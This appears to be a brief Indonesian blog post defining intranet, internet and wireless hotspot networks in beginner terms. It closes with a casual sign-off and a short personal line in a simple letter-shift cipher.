INTRANET, merupakan suatu jaringan komputer yang terdiri dari LAN maupun WAN, serta internet untuk akses yang lebih global. Intranet dapat diartikan hanya memberikan layanan bagi sekelompok pengguna komputer yang terhubung dengan LAN maupun WAN untuk mengakses internet dalam lingkup lokal saja. Biasanya Intranet hanya melayani sebuah instansi dalam suatu wilayah jangkauan LAN/WAN tersebut.

INTERNET, merupakan gabungan dari berbagai LAN dan WAN yang berada diseluruh jaringan komputer didunia, sehingga terbentuk jaringan dalam skala lebih luas dan global. Jaringan internet biasanya menggunakan protokol TCP/IP dalam mengirimkan paket data. Internet berasal dari kata Interconected Network yang berarti hubungan dari beragam jaringan komputer didunia yang saling terintegrasi membentuk suatu komunikasi global.

WIRELESS (Jaringan tanpa Kabel), Jaringan nirkabel (wireless) saat ini sudah dikombinasikan dengan jaringan komputer yang lain . Sebagai contoh, saat ini telah ada penggabungan antara wireless LAN dengan jaringan internet yang membentuk sebuah jaringan hotspot. Hotspot merupakan sebutan bagi sebuah daerah tempat kita dapat melakukan koneksi ke jaringan lain atau internet tanpa harus menggunakan kabel. Hotspot menggunakan teknologi WiFi dengan frekuensi 2,4 GHz

okelah baiklah dan baiklah...sampe disini dulu...besok kita sambung lagi yahhh...

l'p jhw pduulhg diwhu lgxo dgkd lqpvdDoodk